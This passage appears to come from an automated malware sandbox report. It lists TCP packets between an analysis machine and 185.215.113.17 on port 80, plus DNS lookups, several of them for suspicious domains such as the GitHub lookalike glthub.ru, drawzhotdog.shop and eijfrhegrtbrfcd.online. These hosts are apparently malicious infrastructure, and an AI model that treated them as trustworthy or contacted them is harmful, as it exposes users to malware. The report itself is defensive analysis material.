Sep 27, 2024 16:18:31.127511024 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127548933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127583027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127602100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127616882 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127616882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127651930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127681017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127686024 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127720118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127753019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127756119 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127756119 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127787113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127810001 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127821922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127857924 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127861977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127897024 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127902985 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127954960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127959967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127959967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127989054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128021955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128072977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128107071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128139973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128173113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128210068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128210068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128210068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128226042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128261089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128264904 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128295898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128310919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128329039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128349066 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128362894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128375053 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128376007 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128396988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128429890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128437042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128473043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128501892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128501892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128509998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128545046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128577948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128611088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128644943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128678083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128709078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128709078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128709078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128710032 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128710032 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128746033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128779888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128812075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128814936 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128814936 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128845930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128874063 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128879070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128914118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128951073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128983974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.128987074 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.128987074 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129005909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129021883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129036903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129054070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129055023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129055023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129055023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129070044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129081964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129086018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129101038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129116058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129117012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129128933 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129132986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129148006 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129151106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129174948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129192114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129193068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129203081 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129209995 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129226923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129228115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129242897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129259109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129259109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129261971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129278898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129297018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129312992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129328966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129343033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129348993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129349947 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129349947 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129349947 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129359961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129376888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129404068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129406929 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129406929 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129420042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129420042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129420042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129439116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129453897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129468918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129487038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129487991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129504919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129518986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129524946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129524946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129535913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129551888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129568100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129569054 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129582882 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129585981 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129595995 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129602909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129618883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129628897 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129628897 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129635096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129650116 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129652023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129667997 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129667997 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129668951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129686117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129702091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129702091 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129702091 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129714012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129718065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129734039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129746914 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129750013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129770041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129786015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129786015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129786968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129803896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129817963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129829884 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129829884 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129829884 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129837036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129852057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129865885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129867077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129884958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129900932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.129939079 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129939079 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129939079 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129939079 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129939079 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.129996061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130012989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130028009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130043983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130059004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130074978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130089045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130104065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130110979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130110979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130110979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130110979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130129099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130146980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130162001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130177975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130192041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130208015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130208015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130208015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130208015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130208015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130224943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130240917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130255938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130255938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130255938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130255938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130273104 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130286932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130286932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130286932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130296946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130305052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130319118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130336046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130350113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130366087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130367994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130367994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130367994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130367994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130382061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130398035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130410910 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130410910 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130413055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130430937 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130445004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130450010 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130461931 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130472898 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130472898 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130477905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130494118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130508900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130525112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130528927 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130528927 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130528927 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130528927 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130542040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130548000 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130559921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130563974 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130574942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130597115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130597115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130614996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130630016 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130645990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130661964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130687952 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130702972 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130716085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130716085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130716085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130716085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130722046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130745888 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130747080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130764961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130779028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130779982 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130795956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130809069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130821943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130839109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130847931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130847931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130847931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130848885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130848885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130855083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130871058 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130883932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130886078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130903006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130918026 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130932093 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130932093 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.130933046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.130950928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.131046057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.131046057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.131046057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.131046057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.131421089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.131465912 CEST	80	49613	185.215.113.17	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 16:18:39.942776918 CEST	192.168.2.6	1.1.1.1	0xda8b	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:18:45.101274014 CEST	192.168.2.6	1.1.1.1	0x427e	Standard query (0)	drawzhotdog.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:18:56.120012045 CEST	192.168.2.6	1.1.1.1	0xb87e	Standard query (0)	glthub.ru	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:18:57.506510973 CEST	192.168.2.6	1.1.1.1	0xc52f	Standard query (0)	eijfrhegrtbrfcd.online	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:07.711143970 CEST	192.168.2.6	1.1.1.1	0xb25d	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:07.711252928 CEST	192.168.2.6	1.1.1.1	0x7e5f	Standard query (0)	youtube.com	65	IN (0x0001)	false
Sep 27, 2024 16:19:08.885128975 CEST	192.168.2.6	1.1.1.1	0xdab5	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.885224104 CEST	192.168.2.6	1.1.1.1	0xf0c6	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Sep 27, 2024 16:19:11.509056091 CEST	192.168.2.6	1.1.1.1	0x402e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:11.509210110 CEST	192.168.2.6	1.1.1.1	0xecb5	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 27, 2024 16:19:19.686817884 CEST	192.168.2.6	1.1.1.1	0xdb07	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:19.686903954 CEST	192.168.2.6	1.1.1.1	0xa92f	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Sep 27, 2024 16:19:20.729020119 CEST	192.168.2.6	1.1.1.1	0x9f31	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:20.729197979 CEST	192.168.2.6	1.1.1.1	0xbbf	Standard query (0)	play.google.com	65	IN (0x0001)	false
Sep 27, 2024 16:19:24.426944971 CEST	192.168.2.6	1.1.1.1	0xb4de	Standard query (0)	eijfrhegrtbrfcd.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 16:18:39.949282885 CEST	1.1.1.1	192.168.2.6	0xda8b	No error (0)	google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:18:45.114789009 CEST	1.1.1.1	192.168.2.6	0x427e	No error (0)	drawzhotdog.shop		172.67.162.108	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:18:45.114789009 CEST	1.1.1.1	192.168.2.6	0x427e	No error (0)	drawzhotdog.shop		104.21.58.182	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:18:56.359707117 CEST	1.1.1.1	192.168.2.6	0xb87e	No error (0)	glthub.ru		37.140.192.213	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:18:57.538069010 CEST	1.1.1.1	192.168.2.6	0xc52f	No error (0)	eijfrhegrtbrfcd.online		104.21.64.194	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:18:57.538069010 CEST	1.1.1.1	192.168.2.6	0xc52f	No error (0)	eijfrhegrtbrfcd.online		172.67.187.100	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:07.718410015 CEST	1.1.1.1	192.168.2.6	0xb25d	No error (0)	youtube.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:07.718632936 CEST	1.1.1.1	192.168.2.6	0x7e5f	No error (0)	youtube.com			65	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
